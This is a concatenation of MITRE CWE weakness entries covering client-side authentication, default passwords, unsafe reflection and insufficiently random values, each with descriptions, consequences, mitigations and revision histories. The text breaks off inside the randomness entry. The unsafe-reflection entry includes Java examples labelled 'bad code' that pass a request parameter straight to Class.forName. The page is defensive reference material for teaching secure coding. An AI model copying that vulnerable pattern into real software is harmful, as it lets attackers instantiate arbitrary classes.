Provide a hardware-specific submission whose contents were integrated into this entry, affecting extended description, applicable platforms, demonstrative examples, and mitigations
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Background_Details, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References, Taxonomy_Mappings, Time_of_Introduction
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, References
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Maintenance_Notes, Potential_Mitigations, Relationships
2021-03-15 CWE Content Team MITRE
updated References
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Detection_Factors, Maintenance_Notes, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Type
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Detection_Factors, Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples, Description
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-04-05 CWE Content Team MITRE
updated Applicable_Platforms, Potential_Mitigations, Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2009-12-28 CWE Content Team MITRE
updated References
2009-10-29 CWE Content Team MITRE
updated Relationships
2009-07-27 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationships
2008-09-08 CWE Content Team MITRE
updated Background_Details, Common_Consequences, Description, Relationships, Taxonomy_Mappings
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Using a Broken or Risky Cryptographic Algorithm
Back to top

CWE-603: Use of Client-Side Authentication

Weakness ID: 603
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.
+ Extended Description
Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Gain Privileges or Assume Identity

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Do not rely on client side data. Always perform server side authentication.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 602 Client-Side Enforcement of Server-Side Security
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 300 Channel Accessible by Non-Endpoint
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 656 Reliance on Security Through Obscurity
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
Client-side check for a password allows access to a server using crafted XML requests from a modified client.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 947 SFP Secondary Cluster: Authentication Bypass
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Untrustworthy Credentials", Page 37. 1st Edition. Addison Wesley. 2006.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2007-05-07
(CWE Draft 6, 2007-05-07) 		Anonymous Tool Vendor (under NDA)
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2021-03-15 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2017-05-03 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Maintenance_Notes, Other_Notes
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Client-Side Authentication
Back to top

CWE-1393: Use of Default Password

Weakness ID: 1393
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product uses default passwords for potentially critical functionality.
+ Extended Description
It is common practice for products to be designed to use default passwords for authentication. The rationale is to simplify the manufacturing process or the system administrator's task of installation and deployment into an enterprise. However, if admins do not change the defaults, then it makes it easier for attackers to quickly bypass authentication across multiple organizations. There are many lists of default passwords and default-password scanning tools that are easily available from the World Wide Web.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity

Scope: Authentication

+ Potential Mitigations
Phase(s) Mitigation

Requirements
Prohibit use of default, hard-coded, or other values that do not vary for each installation of the product - especially for separate organizations.

Effectiveness: High

Documentation
Ensure that product documentation clearly emphasizes the presence of default passwords and provides steps for the administrator to change them.

Effectiveness: Limited

Architecture and Design
Force the administrator to change the credential upon installation.

Effectiveness: High

Installation; Operation
The product administrator could change the defaults upon installation or during operation.

Effectiveness: Moderate
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1392 Use of Default Credentials
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used default credentials.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Remote Terminal Unit (RTU) uses default credentials for some SSH accounts
OPC Unified Architecture (OPC UA) industrial automation product has a default password
microcontroller board has default password
children's smart watch has default passwords allowing attackers to send SMS commands and listen to the device's surroundings
surveillance camera has default password for the admin account
medical dental records product installs a MySQL database with a blank default password
healthcare system for archiving patient images has default passwords for key management and storage databases
database product installs admin account with default null password, allowing privileges, as exploited by various worms
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1376 ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1303] Kelly Jackson Higgins. "Researchers Out Default Passwords Packaged With ICS/SCADA Wares". 2016-01-04.
<https://www.darkreading.com/endpoint/researchers-out-default-passwords-packaged-with-ics-scada-wares>. (URL validated: 2022-10-11)
[REF-1446] Cybersecurity and Infrastructure Security Agency. "Secure by Design Alert: How Manufacturers Can Protect Customers by Eliminating Default Passwords". 2023-12-15.
<https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords>. (URL validated: 2024-07-14)
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-10-07
(CWE 4.9, 2022-10-13) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated References
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
Back to top

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID: 470
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
+ Extended Description
If the product uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the product to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the product's classpath (CWE-427) or add new entries to the product's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the product.
+ Alternate Terms
Reflection Injection
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Execute Unauthorized Code or Commands; Alter Execution Logic

Scope: Integrity, Confidentiality, Availability, Other

The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.

DoS: Crash, Exit, or Restart; Other

Scope: Availability, Other

The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the product to exit or hang.

Read Application Data

Scope: Confidentiality

By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Refactor your code to avoid using reflection.

Architecture and Design
Do not use user-controlled inputs to select and load classes or code.

Implementation
Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 913 Improper Control of Dynamically-Managed Code Resources
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 399 Resource Management Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 913 Improper Control of Dynamically-Managed Code Resources
+ Relevant to the view "Seven Pernicious Kingdoms" (View-700)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 20 Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Java (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Class: Interpreted (Sometimes Prevalent)

+ Demonstrative Examples

Example 1


A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

(good code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
ao = new ModifyCommand();
}
else {
throw new UnknownActionError();
}
ao.doAction(request);

A programmer might refactor this code to use reflection as follows:

(bad code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

(bad code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple products, in larger products where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Cryptography API uses unsafe reflection when deserializing a private key
Database system allows attackers to bypass sandbox restrictions by using the Reflection API.
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 991 SFP Secondary Cluster: Tainted Input to Environment
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1415 Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Unsafe Reflection
The CERT Oracle Secure Coding Standard for Java (2011) SEC06-J Do not use reflection to increase accessibility of classes, methods, or fields
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Description, Related_Attack_Patterns, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated White_Box_Definitions
2014-07-30 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2009-10-29 CWE Content Team MITRE
updated Alternate_Terms, Relationships
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples, Name
2009-01-12 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations
2008-10-14 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-08-01 KDM Analytics
added/updated white box definitions
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Unsafe Reflection
2009-05-27 Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')
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CWE-330: Use of Insufficiently Random Values

Weakness ID: 330
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
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+ Description
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
+ Extended Description
When product generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Other

Scope: Confidentiality, Other

When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.

Bypass Protection Mechanism; Other

Scope: Access Control, Other

If product relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.

Bypass Protection Mechanism; Gain Privileges or Assume Identity

Scope: Access Control

When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.

In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Implementation
Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

Testing
Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Architecture and Design; Requirements

Strategy: Libraries or Frameworks

